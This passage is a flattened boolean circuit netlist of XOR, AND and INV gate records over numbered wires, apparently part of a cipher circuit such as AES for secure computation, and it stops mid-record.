+2 1 28998 28987 28977 AND +2 1 28977 28905 28907 XOR +2 1 28909 28907 28913 XOR +2 1 33941 28913 28918 XOR +2 1 29000 28985 28976 AND +2 1 28976 28982 28927 XOR +2 1 28927 28918 28974 XOR +2 1 28976 28977 28879 XOR +2 1 28879 28880 28926 XOR +2 1 28926 28908 28925 XOR +2 1 28979 28925 28973 XOR +2 1 28997 28988 28975 AND +2 1 28975 28978 28928 XOR +2 1 28975 28981 28932 XOR +2 1 28932 28904 28919 XOR +2 1 28927 28919 28971 XOR +2 1 28976 28928 28922 XOR +2 1 28908 28928 28882 XOR +2 1 28882 28907 28972 XOR +2 1 28913 28932 28881 XOR +2 1 33939 28881 28924 XOR +2 1 28979 28922 28878 XOR +2 1 33935 28878 28966 XOR +2 1 28974 28973 28970 AND +2 1 28970 28924 28965 XOR +2 1 28970 28972 28969 XOR +2 1 28971 28969 28968 AND +2 1 28968 28924 28967 XOR +2 1 28968 28980 28873 XOR +2 1 28873 28909 28869 XOR +2 1 33941 28869 28872 XOR +2 1 28968 28918 28870 XOR +2 1 33939 28869 28868 XOR +2 1 28965 28966 28964 AND +2 1 28964 28972 28963 XOR +2 1 28970 28964 28962 XOR +2 1 28964 28922 28877 XOR +2 1 28964 28981 28876 XOR +2 1 28876 28978 28871 XOR +2 1 28871 28872 28955 XOR +2 1 28972 28962 28961 AND +2 1 28961 28969 28959 XOR +2 1 28961 28979 28931 XOR +2 1 28931 28925 28953 XOR +2 1 33935 28931 28914 XOR +2 1 28914 28877 28960 XOR +2 1 28967 28959 28958 AND +2 1 28958 28927 28917 XOR +2 1 28917 28919 28957 XOR +2 1 28958 28982 28875 XOR +2 1 28914 28875 28867 XOR +2 1 28904 28867 28874 XOR +2 1 28871 28874 28956 XOR +2 1 28917 28870 28954 XOR +2 1 28867 28868 28952 XOR +2 1 28953 28990 28951 AND +2 1 28960 28989 28950 AND +2 1 28963 33934 28949 AND +2 1 28949 28951 28930 XOR +2 1 28954 28984 28948 AND +2 1 28957 28996 28947 AND +2 1 28947 28948 28933 XOR +2 1 28967 28986 28946 AND +2 1 28946 28947 28884 XOR +2 1 28955 28987 28945 AND +2 1 28952 28985 28944 AND +2 1 28944 28933 28923 XOR +2 1 28944 28947 28899 XOR +1 1 28899 28896 INV +2 1 28944 28945 28895 XOR +2 1 28945 28923 28883 XOR +2 1 28956 28988 28943 AND +2 1 28953 28994 28942 AND +2 1 28960 28991 28941 AND +2 1 28963 28995 28940 AND +2 1 28940 28923 28889 XOR +1 1 28889 28886 INV +2 1 28954 28999 28939 AND +2 1 28939 28943 28915 XOR +2 1 28948 28939 28900 XOR +1 1 28915 28893 INV +2 1 28957 28992 28938 AND +2 1 28946 28938 28902 XOR +2 1 28967 28993 28937 AND +2 1 28893 28937 28892 XOR +2 1 28892 28930 28888 XOR +2 1 28955 28998 28936 AND +2 1 28936 28888 28891 XOR +2 1 28952 29000 28935 AND +2 1 28935 28936 28929 XOR +2 1 28941 28929 28911 XOR +2 1 28942 28911 28912 XOR +2 1 28950 28912 28916 XOR +2 1 28951 28916 28921 XOR +2 1 28933 28921 35858 XOR +2 1 8906 35858 8892 XOR +2 1 8891 8892 35767 XOR +2 1 35767 539 34122 XOR +2 1 28902 28929 28898 XOR +2 1 28930 28898 28901 XOR +2 1 28900 28901 29004 XOR +2 1 28893 28898 28897 XOR +2 1 28896 28897 29003 XOR +2 1 28921 28895 29002 XOR +2 1 28911 28888 28887 XOR +2 1 28886 28887 35856 XOR +2 1 35851 35856 8934 XOR +2 1 28949 28916 28885 XOR +2 1 28884 28885 35857 XOR +2 1 28912 28883 35859 XOR +2 1 35855 35859 8895 XOR +2 1 8895 35867 8860 XOR +2 1 35859 35863 8909 XOR +2 1 8909 35866 8866 XOR +2 1 28956 28997 28934 AND +2 1 28945 28934 28894 XOR +1 1 28894 28890 INV +2 1 28890 28891 29001 XOR +2 1 8934 35864 8867 XOR +2 1 8934 8924 8855 XOR +2 1 35860 8855 35789 XOR +2 1 35789 517 34144 XOR +2 1 8917 8895 8847 XOR +2 1 33205 35856 8702 XOR +2 1 35857 8698 8697 XOR +2 1 8701 8702 35765 XOR +2 1 35765 541 34120 XOR +2 1 34120 34122 23963 XOR +2 1 35857 35861 8914 XOR +2 1 8982 8914 35766 XOR +2 1 8914 8912 8852 XOR +2 1 8852 8853 8851 XOR +1 1 8851 35790 INV +2 1 35790 516 34145 XOR +2 1 34145 34144 26640 XOR +2 1 35766 540 34121 XOR +2 1 34121 34120 23843 XOR +2 1 35859 8359 8886 XOR +2 1 8909 35860 8644 XOR +2 1 8944 8895 8884 XOR +2 1 32808 8884 35771 XOR +2 1 35857 35856 8645 XOR +2 1 8644 8645 8988 XOR +2 1 8988 8920 35782 XOR +2 1 35782 524 34137 XOR +2 1 8885 8886 35770 XOR +2 1 35770 536 34125 XOR +2 1 34122 34125 23961 XOR +2 1 34125 34120 23960 XOR +2 1 8909 33205 8642 XOR +2 1 35771 535 34126 XOR +2 1 35853 35858 8960 XOR +2 1 8960 8929 8876 XOR +2 1 33191 8876 35776 XOR +2 1 8966 8960 35791 XOR +2 1 35791 515 34146 XOR +2 1 34144 34146 26760 XOR +2 1 35776 530 34131 XOR +2 1 8960 8914 8865 XOR +2 1 8865 8866 35783 XOR +2 1 8934 8920 8879 XOR +1 1 8879 8877 INV +2 1 35863 8847 35794 XOR +2 1 35794 512 34149 XOR +2 1 34146 34149 26758 XOR +2 1 34149 34144 26757 XOR +2 1 35783 523 34138 XOR +1 1 29002 33137 INV +2 1 35854 33137 8959 XOR +2 1 8959 8894 8870 XOR +2 1 35855 8870 35778 XOR +2 1 35778 528 34133 XOR +2 1 34131 34133 28064 XOR +2 1 8959 33211 8848 XOR +2 1 33137 8887 35769 XOR +2 1 35769 537 34124 XOR +2 1 33192 33137 8861 XOR +2 1 8860 8861 35786 XOR +2 1 35786 520 34141 XOR +2 1 34138 34141 29698 XOR +1 1 29003 33138 INV +2 1 33206 33138 8657 XOR +2 1 33185 33138 8868 XOR +2 1 8867 8868 35781 XOR +2 1 32807 33138 8949 XOR +2 1 8949 8912 8880 XOR +1 1 8949 8858 INV +2 1 8858 8944 8856 XOR +2 1 8856 8857 35788 XOR +2 1 35788 518 34143 XOR +2 1 34143 34145 26663 XOR +2 1 34144 26663 26665 XOR +2 1 26663 26758 26750 XOR +2 1 34143 34144 26680 XOR +2 1 26758 26680 26754 XOR +2 1 34149 34143 26759 XOR +2 1 26750 26754 26743 AND +2 1 8656 8657 8983 XOR +2 1 8983 8924 35764 XOR +2 1 35764 542 34119 XOR +2 1 34119 34120 23883 XOR +2 1 23961 23883 23957 XOR +2 1 34125 34119 23962 XOR +2 1 35851 8880 35773 XOR +2 1 35773 533 34128 XOR +2 1 34133 34128 28157 XOR +2 1 35781 525 34136 XOR +2 1 34136 34138 29700 XOR +2 1 34137 34136 29580 XOR +2 1 34141 34136 29697 XOR +1 1 29004 33139 INV +2 1 32808 33139 8957 XOR +2 1 8957 8924 8882 XOR +2 1 33139 8703 35763 XOR +2 1 8957 8909 8869 XOR +2 1 33206 8869 35779 XOR +2 1 35779 527 34134 XOR +2 1 35763 543 34118 XOR +2 1 34118 34124 23873 XOR +2 1 8957 8894 8859 XOR +2 1 33186 8859 35787 XOR +2 1 35787 519 34142 XOR +2 1 34142 26750 26749 XOR +2 1 33186 33139 8643 XOR +2 1 8642 8643 8989 XOR +2 1 8989 8949 35780 XOR +2 1 35780 526 34135 XOR +2 1 34135 34137 29603 XOR +2 1 34136 29603 29605 XOR +2 1 29603 29698 29690 XOR +2 1 34134 29690 29689 XOR +2 1 34135 34136 29620 XOR +2 1 29698 29620 29694 XOR +2 1 34141 34135 29699 XOR +2 1 29690 29694 29683 AND +1 1 29001 33144 INV +2 1 33144 33191 8919 XOR +1 1 8919 8890 INV +2 1 8890 33211 8888 XOR +2 1 8888 8889 35768 XOR +2 1 8919 8911 8850 XOR +2 1 32812 8850 35792 XOR +2 1 8917 33144 8872 XOR +2 1 35768 538 34123 XOR +2 1 34123 34125 23867 XOR +2 1 34123 23873 23959 XOR +2 1 34119 23959 23955 XOR +2 1 23959 23955 23942 AND +2 1 23867 23873 23956 XOR +2 1 33144 35858 8864 XOR +2 1 8959 8919 8862 XOR +2 1 8863 8864 35784 XOR +2 1 35784 522 34139 XOR +2 1 34139 29605 29684 XOR +2 1 34139 34141 29604 XOR +2 1 29604 29700 29685 XOR +2 1 29699 29684 29680 AND +2 1 29680 29604 29608 XOR +2 1 29700 29685 29676 AND +2 1 33212 8862 35785 XOR +2 1 8872 8873 8871 XOR +1 1 8871 35777 INV +2 1 35777 529 34132 XOR +2 1 34126 34132 28070 XOR +2 1 28064 28070 28153 XOR +2 1 34131 28070 28156 XOR +2 1 35785 521 34140 XOR +2 1 34140 29605 29687 XOR +2 1 34138 34140 29606 XOR +2 1 29683 29606 29609 XOR +2 1 34134 34140 29610 XOR +2 1 29610 29605 29686 XOR +2 1 29604 29610 29693 XOR +2 1 29620 29693 29691 XOR +2 1 34139 29610 29696 XOR +2 1 34135 29696 29692 XOR +2 1 29606 29604 29566 XOR +2 1 29603 29566 29688 XOR +2 1 29606 34139 29565 XOR +2 1 34134 29565 29695 XOR +2 1 29691 29689 29682 AND +2 1 29676 29682 29627 XOR +2 1 29695 34134 29681 AND +2 1 29696 29692 29679 AND +2 1 29693 29686 29678 AND +2 1 29698 29687 29677 AND +2 1 29677 29605 29607 XOR +2 1 29609 29607 29613 XOR +2 1 34141 29613 29618 XOR +2 1 29627 29618 29674 XOR +2 1 29676 29677 29579 XOR +2 1 29579 29580 29626 XOR +2 1 29626 29608 29625 XOR +2 1 29679 29625 29673 XOR +2 1 29697 29688 29675 AND +2 1 29675 29678 29628 XOR +2 1 29675 29681 29632 XOR +2 1 29632 29604 29619 XOR +2 1 29627 29619 29671 XOR +2 1 29676 29628 29622 XOR +2 1 29608 29628 29582 XOR +2 1 29582 29607 29672 XOR +2 1 29613 29632 29581 XOR +2 1 34139 29581 29624 XOR +2 1 29679 29622 29578 XOR +2 1 34135 29578 29666 XOR +2 1 29674 29673 29670 AND +2 1 29670 29624 29665 XOR +2 1 29670 29672 29669 XOR +2 1 29671 29669 29668 AND +2 1 29668 29624 29667 XOR +2 1 29668 29680 29573 XOR +2 1 29573 29609 29569 XOR +2 1 34141 29569 29572 XOR +2 1 29668 29618 29570 XOR +2 1 34139 29569 29568 XOR +2 1 29665 29666 29664 AND +2 1 29664 29672 29663 XOR +2 1 29670 29664 29662 XOR +2 1 29664 29622 29577 XOR +2 1 29664 29681 29576 XOR +2 1 29576 29678 29571 XOR +2 1 29571 29572 29655 XOR +2 1 29672 29662 29661 AND +2 1 29661 29669 29659 XOR +2 1 29661 29679 29631 XOR +2 1 29631 29625 29653 XOR +2 1 34135 29631 29614 XOR +2 1 29614 29577 29660 XOR +2 1 29667 29659 29658 AND +2 1 29658 29627 29617 XOR +2 1 29617 29619 29657 XOR +2 1 29658 29682 29575 XOR +2 1 29614 29575 29567 XOR +2 1 29604 29567 29574 XOR +2 1 29571 29574 29656 XOR +2 1 29617 29570 29654 XOR +2 1 29567 29568 29652 XOR +2 1 29653 29690 29651 AND +2 1 29660 29689 29650 AND +2 1 29663 34134 29649 AND +2 1 29649 29651 29630 XOR +2 1 29654 29684 29648 AND +2 1 29657 29696 29647 AND +2 1 29647 29648 29633 XOR +2 1 29667 29686 29646 AND +2 1 29646 29647 29584 XOR +2 1 29655 29687 29645 AND +2 1 29652 29685 29644 AND +2 1 29644 29633 29623 XOR +2 1 29644 29647 29599 XOR +1 1 29599 29596 INV +2 1 29644 29645 29595 XOR +2 1 29645 29623 29583 XOR +2 1 29656 29688 29643 AND +2 1 29653 29694 29642 AND +2 1 29660 29691 29641 AND +2 1 29663 29695 29640 AND +2 1 29640 29623 29589 XOR +1 1 29589 29586 INV +2 1 29654 29699 29639 AND +2 1 29639 29643 29615 XOR +2 1 29648 29639 29600 XOR +1 1 29615 29593 INV +2 1 29657 29692 29638 AND +2 1 29646 29638 29602 XOR +2 1 29667 29693 29637 AND +2 1 29593 29637 29592 XOR +2 1 29592 29630 29588 XOR +2 1 29655 29698 29636 AND +2 1 29636 29588 29591 XOR +2 1 29652 29700 29635 AND +2 1 29635 29636 29629 XOR +2 1 29641 29629 29611 XOR +2 1 29642 29611 29612 XOR +2 1 29650 29612 29616 XOR +2 1 29651 29616 29621 XOR +2 1 29633 29621 36009 XOR +2 1 29602 29629 29598 XOR +2 1 29630 29598 29601 XOR +2 1 29600 29601 29704 XOR +2 1 29593 29598 29597 XOR +2 1 29596 29597 29703 XOR +2 1 29703 33169 9175 XOR +2 1 33104 29703 9307 XOR +2 1 29621 29595 29702 XOR +2 1 29611 29588 29587 XOR +2 1 29586 29587 36007 XOR +2 1 29649 29616 29585 XOR +2 1 29584 29585 36008 XOR +2 1 36008 36001 9173 XOR +2 1 29612 29583 36010 XOR +2 1 29656 29697 29634 AND +2 1 29645 29634 29594 XOR +1 1 29594 29590 INV +2 1 29590 29591 29701 XOR +1 1 29703 36006 INV +2 1 33126 36006 9427 XOR +2 1 9449 9427 9317 XOR +2 1 9317 9318 9316 XOR +2 1 36000 36007 9425 XOR +1 1 9425 9308 INV +2 1 9448 9425 9301 XOR +2 1 36011 9301 35870 XOR +2 1 9428 9427 9322 XOR +2 1 36000 9322 35886 XOR +2 1 35886 1517 34168 XOR +2 1 36008 36012 9440 XOR +2 1 9440 9290 9287 XOR +2 1 9450 9308 9319 XOR +2 1 36010 36015 9385 XOR +2 1 9385 33097 9178 XOR +2 1 9436 9385 9327 XOR +2 1 35999 9327 35883 XOR +2 1 35883 1520 34165 XOR +1 1 9385 9476 INV +2 1 9476 33175 9217 XOR +2 1 9217 9218 35875 XOR +2 1 35875 1528 34157 XOR +2 1 9476 36011 9180 XOR +2 1 9476 36009 9304 XOR +2 1 9455 9440 35879 XOR +2 1 35879 1524 34161 XOR +2 1 36009 36013 9437 XOR +2 1 9332 9437 9330 XOR +2 1 9438 9437 9302 XOR +2 1 9472 9437 35872 XOR +1 1 9316 35869 INV +2 1 35869 1534 34151 XOR +2 1 34157 34151 29559 XOR +2 1 9441 9440 9305 XOR +1 1 9305 9303 INV +2 1 9303 9304 35896 XOR +2 1 35896 1507 34178 XOR +2 1 9308 35996 9306 XOR +2 1 9306 9307 35894 XOR +2 1 35894 1509 34176 XOR +2 1 34176 34178 26620 XOR +2 1 36005 36010 9387 XOR +2 1 9449 9387 9326 XOR +2 1 9387 36013 9172 XOR +2 1 9172 9173 9457 XOR +2 1 9457 9441 35888 XOR +2 1 35888 1515 34170 XOR +2 1 34168 34170 31380 XOR +2 1 33127 9326 35884 XOR +2 1 35884 1519 34166 XOR +2 1 35870 1533 34152 XOR +2 1 34151 34152 29480 XOR +2 1 34157 34152 29557 XOR +2 1 35872 1531 34154 XOR +2 1 34154 34157 29558 XOR +2 1 29558 29480 29554 XOR +2 1 34152 34154 29560 XOR +2 1 9287 9288 35871 XOR +2 1 35871 1532 34153 XOR +2 1 34151 34153 29463 XOR +2 1 34152 29463 29465 XOR +2 1 29463 29558 29550 XOR +2 1 34153 34152 29440 XOR +2 1 29550 29554 29543 AND +1 1 36007 9182 INV +2 1 33176 9182 9360 XOR +2 1 36008 9182 9181 XOR +2 1 9180 9181 9453 XOR +2 1 9453 9450 35895 XOR +2 1 35895 1508 34177 XOR +2 1 34177 34176 26500 XOR +2 1 9359 9360 35878 XOR +2 1 35878 1525 34160 XOR +2 1 34161 34160 27900 XOR +2 1 34165 34160 28017 XOR +2 1 35792 514 34147 XOR +2 1 34147 26665 26744 XOR +2 1 34147 34149 26664 XOR +2 1 26664 26760 26745 XOR +2 1 26759 26744 26740 AND +2 1 26740 26664 26668 XOR +2 1 26760 26745 26736 AND +2 1 23867 23963 23948 XOR +2 1 23963 23948 23939 AND +1 1 29701 33158 INV +2 1 33158 33103 9433 XOR +2 1 9436 9433 9300 XOR +2 1 9433 35998 9256 XOR +2 1 9441 9433 9329 XOR +2 1 33174 9329 35881 XOR +2 1 35881 1522 34163 XOR +2 1 34163 34165 27924 XOR +1 1 9256 9254 INV +2 1 9254 9255 35873 XOR +2 1 35873 1530 34155 XOR +2 1 34155 29465 29544 XOR +2 1 34155 34157 29464 XOR +2 1 29464 29560 29545 XOR +2 1 29559 29544 29540 AND +2 1 29540 29464 29468 XOR +2 1 29560 29545 29536 AND +2 1 33158 28301 9313 XOR +2 1 9312 9313 35890 XOR +2 1 35890 1513 34172 XOR +2 1 34170 34172 31286 XOR +2 1 34166 34172 31290 XOR +1 1 29702 33159 INV +2 1 33159 28302 9311 XOR +2 1 33159 9300 35898 XOR +2 1 33159 36014 9430 XOR +2 1 9438 9430 9328 XOR +2 1 33175 9328 35882 XOR +2 1 35882 1521 34164 XOR +2 1 9430 9386 9299 XOR +2 1 36010 9299 35899 XOR +2 1 35899 1504 34181 XOR +2 1 34178 34181 26618 XOR +2 1 34181 34176 26617 XOR +2 1 35898 1505 34180 XOR +2 1 34178 34180 26526 XOR +1 1 29704 33160 INV +2 1 33127 33160 9426 XOR +2 1 33176 33160 9179 XOR +2 1 9448 9426 9324 XOR +2 1 33160 9201 35876 XOR +2 1 9178 9179 9454 XOR +2 1 9454 9427 35893 XOR +2 1 35893 1510 34175 XOR +2 1 34175 34177 26523 XOR +2 1 34176 26523 26525 XOR +2 1 34180 26525 26607 XOR +2 1 26523 26618 26610 XOR +2 1 34175 34176 26540 XOR +2 1 26618 26540 26614 XOR +2 1 34181 34175 26619 XOR +2 1 26610 26614 26603 AND +2 1 26603 26526 26529 XOR +2 1 26618 26607 26597 AND +2 1 26597 26525 26527 XOR +2 1 26529 26527 26533 XOR +2 1 34181 26533 26538 XOR +2 1 9426 9385 9309 XOR +2 1 33169 9309 35892 XOR +2 1 35892 1511 34174 XOR +2 1 34174 26610 26609 XOR +2 1 34174 34180 26530 XOR +2 1 26530 26525 26606 XOR +2 1 9426 9393 9378 XOR +2 1 33097 9378 35868 XOR +2 1 35868 1535 34150 XOR +2 1 34150 29550 29549 XOR +2 1 35876 1527 34158 XOR +2 1 34158 34164 27930 XOR +2 1 27924 27930 28013 XOR +2 1 34163 27930 28016 XOR +2 1 34119 34121 23866 XOR +2 1 23866 23961 23953 XOR +2 1 23953 23957 23946 AND +2 1 34118 23953 23952 XOR +2 1 34120 23866 23868 XOR +2 1 34124 23868 23950 XOR +2 1 23961 23950 23940 AND +2 1 23940 23868 23870 XOR +2 1 23939 23940 23842 XOR +2 1 23842 23843 23889 XOR +2 1 34123 23868 23947 XOR +2 1 23962 23947 23943 AND +2 1 23943 23867 23871 XOR +2 1 23889 23871 23888 XOR +2 1 23942 23888 23936 XOR +2 1 23873 23868 23949 XOR +2 1 23956 23949 23941 AND +2 1 23883 23956 23954 XOR +2 1 23954 23952 23945 AND +2 1 23939 23945 23890 XOR +2 1 9430 33174 9237 XOR +2 1 9237 9238 9236 XOR +1 1 9236 35874 INV +2 1 35874 1529 34156 XOR +2 1 34156 29465 29547 XOR +2 1 34154 34156 29466 XOR +2 1 29543 29466 29469 XOR +2 1 34150 34156 29470 XOR +2 1 29470 29465 29546 XOR +2 1 29464 29470 29553 XOR +2 1 29480 29553 29551 XOR +2 1 34155 29470 29556 XOR +2 1 34151 29556 29552 XOR +2 1 29466 29464 29426 XOR +2 1 29463 29426 29548 XOR +2 1 29466 34155 29425 XOR +2 1 34150 29425 29555 XOR +2 1 29551 29549 29542 AND +2 1 29536 29542 29487 XOR +2 1 29555 34150 29541 AND +2 1 29556 29552 29539 AND +2 1 29553 29546 29538 AND +2 1 29558 29547 29537 AND +2 1 29537 29465 29467 XOR +2 1 29469 29467 29473 XOR +2 1 34157 29473 29478 XOR +2 1 29487 29478 29534 XOR +2 1 29536 29537 29439 XOR +2 1 29439 29440 29486 XOR +2 1 29486 29468 29485 XOR +2 1 29539 29485 29533 XOR +2 1 29557 29548 29535 AND +2 1 29535 29538 29488 XOR +2 1 29535 29541 29492 XOR +2 1 29492 29464 29479 XOR +2 1 29487 29479 29531 XOR +2 1 29536 29488 29482 XOR +2 1 29468 29488 29442 XOR +2 1 29442 29467 29532 XOR +2 1 29473 29492 29441 XOR +2 1 34155 29441 29484 XOR +2 1 29539 29482 29438 XOR +2 1 34151 29438 29526 XOR +2 1 29534 29533 29530 AND +2 1 29530 29484 29525 XOR +2 1 29530 29532 29529 XOR +2 1 29531 29529 29528 AND +2 1 29528 29484 29527 XOR +2 1 29528 29540 29433 XOR +2 1 29433 29469 29429 XOR +2 1 34157 29429 29432 XOR +2 1 29528 29478 29430 XOR +2 1 34155 29429 29428 XOR +2 1 29525 29526 29524 AND +2 1 29524 29532 29523 XOR +2 1 29530 29524 29522 XOR +2 1 29524 29482 29437 XOR +2 1 29524 29541 29436 XOR +2 1 29436 29538 29431 XOR +2 1 29431 29432 29515 XOR +2 1 29532 29522 29521 AND +2 1 29521 29529 29519 XOR +2 1 29521 29539 29491 XOR +2 1 29491 29485 29513 XOR +2 1 34151 29491 29474 XOR +2 1 29474 29437 29520 XOR +2 1 29527 29519 29518 AND +2 1 29518 29487 29477 XOR +2 1 29477 29479 29517 XOR +2 1 29518 29542 29435 XOR +2 1 29474 29435 29427 XOR +2 1 29464 29427 29434 XOR +2 1 29431 29434 29516 XOR +2 1 29477 29430 29514 XOR +2 1 29427 29428 29512 XOR +2 1 29513 29550 29511 AND +2 1 29520 29549 29510 AND +2 1 29523 34150 29509 AND +2 1 29509 29511 29490 XOR +2 1 29514 29544 29508 AND +2 1 29517 29556 29507 AND +2 1 29507 29508 29493 XOR +2 1 29527 29546 29506 AND +2 1 29506 29507 29444 XOR +2 1 29515 29547 29505 AND +2 1 29512 29545 29504 AND +2 1 29504 29493 29483 XOR +2 1 29504 29507 29459 XOR +1 1 29459 29456 INV +2 1 29504 29505 29455 XOR +2 1 29505 29483 29443 XOR +2 1 29516 29548 29503 AND +2 1 29513 29554 29502 AND +2 1 29520 29551 29501 AND +2 1 29523 29555 29500 AND +2 1 29500 29483 29449 XOR +1 1 29449 29446 INV +2 1 29514 29559 29499 AND +2 1 29499 29503 29475 XOR +2 1 29508 29499 29460 XOR +1 1 29475 29453 INV +2 1 29517 29552 29498 AND +2 1 29506 29498 29462 XOR +2 1 29527 29553 29497 AND +2 1 29453 29497 29452 XOR +2 1 29452 29490 29448 XOR +2 1 29515 29558 29496 AND +2 1 29496 29448 29451 XOR +2 1 29512 29560 29495 AND +2 1 29495 29496 29489 XOR +2 1 29501 29489 29471 XOR +2 1 29502 29471 29472 XOR +2 1 29510 29472 29476 XOR +2 1 29511 29476 29481 XOR +2 1 29493 29481 36255 XOR +2 1 29462 29489 29458 XOR +2 1 29490 29458 29461 XOR +2 1 29460 29461 29564 XOR +2 1 29453 29458 29457 XOR +2 1 29456 29457 29563 XOR +2 1 29481 29455 29562 XOR +2 1 29471 29448 29447 XOR +2 1 29446 29447 36253 XOR +2 1 29509 29476 29445 XOR +2 1 29444 29445 36254 XOR +2 1 29472 29443 36257 XOR +2 1 29516 29557 29494 AND +2 1 29505 29494 29454 XOR +1 1 29454 29450 INV +2 1 29450 29451 29561 XOR +1 1 29562 36256 INV +1 1 36255 9953 INV +1 1 29561 33153 INV +1 1 29563 33154 INV +1 1 29564 33155 INV +2 1 29562 33153 10128 XOR +2 1 36009 36002 9315 XOR +2 1 9314 9315 35889 XOR +2 1 35889 1514 34171 XOR +2 1 34171 31290 31376 XOR +2 1 31286 34171 31245 XOR +2 1 34166 31245 31375 XOR +2 1 31375 34166 31361 AND +1 1 9387 9321 INV +2 1 9321 36012 9320 XOR +2 1 9319 9320 35887 XOR +2 1 9321 33126 9325 XOR +2 1 9324 9325 9323 XOR +1 1 9323 35885 INV +2 1 35885 1518 34167 XOR +2 1 34167 31376 31372 XOR +2 1 34167 34168 31300 XOR +2 1 31376 31372 31359 AND +2 1 35887 1516 34169 XOR +2 1 34167 34169 31283 XOR +2 1 34168 31283 31285 XOR +2 1 34172 31285 31367 XOR +2 1 34171 31285 31364 XOR +2 1 31290 31285 31366 XOR +2 1 34169 34168 31260 XOR +2 1 33158 9302 35897 XOR +2 1 35897 1506 34179 XOR +2 1 34179 26525 26604 XOR +2 1 34179 34181 26524 XOR +2 1 26524 26620 26605 XOR +2 1 26524 26530 26613 XOR +2 1 26540 26613 26611 XOR +2 1 34179 26530 26616 XOR +2 1 34175 26616 26612 XOR +2 1 26526 26524 26486 XOR +2 1 26523 26486 26608 XOR +2 1 26526 34179 26485 XOR +2 1 34174 26485 26615 XOR +2 1 26611 26609 26602 AND +2 1 26615 34174 26601 AND +2 1 26619 26604 26600 AND +2 1 26600 26524 26528 XOR +2 1 26616 26612 26599 AND +2 1 26613 26606 26598 AND +2 1 26620 26605 26596 AND +2 1 26596 26602 26547 XOR +2 1 26547 26538 26594 XOR +2 1 26596 26597 26499 XOR +2 1 26499 26500 26546 XOR +2 1 26546 26528 26545 XOR +2 1 26599 26545 26593 XOR +2 1 26617 26608 26595 AND +2 1 26595 26598 26548 XOR +2 1 26595 26601 26552 XOR +2 1 26552 26524 26539 XOR +2 1 26547 26539 26591 XOR +2 1 26596 26548 26542 XOR +2 1 26528 26548 26502 XOR +2 1 26502 26527 26592 XOR +2 1 26533 26552 26501 XOR +2 1 34179 26501 26544 XOR +2 1 26599 26542 26498 XOR +2 1 34175 26498 26586 XOR +2 1 26594 26593 26590 AND +2 1 26590 26544 26585 XOR +2 1 26590 26592 26589 XOR +2 1 26591 26589 26588 AND +2 1 26588 26544 26587 XOR +2 1 26588 26600 26493 XOR +2 1 26493 26529 26489 XOR +2 1 34181 26489 26492 XOR +2 1 26588 26538 26490 XOR +2 1 34179 26489 26488 XOR +2 1 26585 26586 26584 AND +2 1 26584 26592 26583 XOR +2 1 26590 26584 26582 XOR +2 1 26584 26542 26497 XOR +2 1 26584 26601 26496 XOR +2 1 26496 26598 26491 XOR +2 1 26491 26492 26575 XOR +2 1 26592 26582 26581 AND +2 1 26581 26589 26579 XOR +2 1 26581 26599 26551 XOR +2 1 26551 26545 26573 XOR +2 1 34175 26551 26534 XOR +2 1 26534 26497 26580 XOR +2 1 26587 26579 26578 AND +2 1 26578 26547 26537 XOR +2 1 26537 26539 26577 XOR +2 1 26578 26602 26495 XOR +2 1 26534 26495 26487 XOR +2 1 26524 26487 26494 XOR +2 1 26491 26494 26576 XOR +2 1 26537 26490 26574 XOR +2 1 26487 26488 26572 XOR +2 1 26573 26610 26571 AND +2 1 26580 26609 26570 AND +2 1 26583 34174 26569 AND +2 1 26569 26571 26550 XOR +2 1 26574 26604 26568 AND +2 1 26577 26616 26567 AND +2 1 26567 26568 26553 XOR +2 1 26587 26606 26566 AND +2 1 26566 26567 26504 XOR +2 1 26575 26607 26565 AND +2 1 26572 26605 26564 AND +2 1 26564 26553 26543 XOR +2 1 26564 26567 26519 XOR +1 1 26519 26516 INV +2 1 26564 26565 26515 XOR +2 1 26565 26543 26503 XOR +2 1 26576 26608 26563 AND +2 1 26573 26614 26562 AND +2 1 26580 26611 26561 AND +2 1 26583 26615 26560 AND +2 1 26560 26543 26509 XOR +1 1 26509 26506 INV +2 1 26574 26619 26559 AND +2 1 26559 26563 26535 XOR +2 1 26568 26559 26520 XOR +1 1 26535 26513 INV +2 1 26577 26612 26558 AND +2 1 26566 26558 26522 XOR +2 1 26587 26613 26557 AND +2 1 26513 26557 26512 XOR +2 1 26512 26550 26508 XOR +2 1 26575 26618 26556 AND +2 1 26556 26508 26511 XOR +2 1 26572 26620 26555 AND +2 1 26555 26556 26549 XOR +2 1 26561 26549 26531 XOR +2 1 26562 26531 26532 XOR +2 1 26570 26532 26536 XOR +2 1 26571 26536 26541 XOR +2 1 26553 26541 36214 XOR +2 1 26522 26549 26518 XOR +2 1 26550 26518 26521 XOR +2 1 26520 26521 26624 XOR +2 1 26513 26518 26517 XOR +2 1 26516 26517 26623 XOR +2 1 26541 26515 26622 XOR +2 1 26531 26508 26507 XOR +2 1 26506 26507 36212 XOR +2 1 26569 26536 26505 XOR +2 1 26504 26505 36213 XOR +2 1 26532 26503 36216 XOR +2 1 26576 26617 26554 AND +2 1 26565 26554 26514 XOR +1 1 26514 26510 INV +2 1 26510 26511 26621 XOR +1 1 26622 36215 INV +1 1 26621 33090 INV +1 1 26623 33091 INV +1 1 26624 33092 INV +2 1 8848 8849 35793 XOR +2 1 35793 513 34148 XOR +2 1 34148 26665 26747 XOR +2 1 34146 34148 26666 XOR +2 1 26743 26666 26669 XOR +2 1 34142 34148 26670 XOR +2 1 26670 26665 26746 XOR +2 1 26664 26670 26753 XOR +2 1 26680 26753 26751 XOR +2 1 34147 26670 26756 XOR +2 1 34143 26756 26752 XOR +2 1 26666 26664 26626 XOR +2 1 26663 26626 26748 XOR +2 1 26666 34147 26625 XOR +2 1 34142 26625 26755 XOR +2 1 26751 26749 26742 AND +2 1 26736 26742 26687 XOR +2 1 26755 34142 26741 AND +2 1 26756 26752 26739 AND +2 1 26753 26746 26738 AND +2 1 26758 26747 26737 AND +2 1 26737 26665 26667 XOR +2 1 26669 26667 26673 XOR +2 1 34149 26673 26678 XOR +2 1 26687 26678 26734 XOR +2 1 26736 26737 26639 XOR +2 1 26639 26640 26686 XOR +2 1 26686 26668 26685 XOR +2 1 26739 26685 26733 XOR +2 1 26757 26748 26735 AND +2 1 26735 26738 26688 XOR +2 1 26735 26741 26692 XOR +2 1 26692 26664 26679 XOR +2 1 26687 26679 26731 XOR +2 1 26736 26688 26682 XOR +2 1 26668 26688 26642 XOR +2 1 26642 26667 26732 XOR +2 1 26673 26692 26641 XOR +2 1 34147 26641 26684 XOR +2 1 26739 26682 26638 XOR +2 1 34143 26638 26726 XOR +2 1 26734 26733 26730 AND +2 1 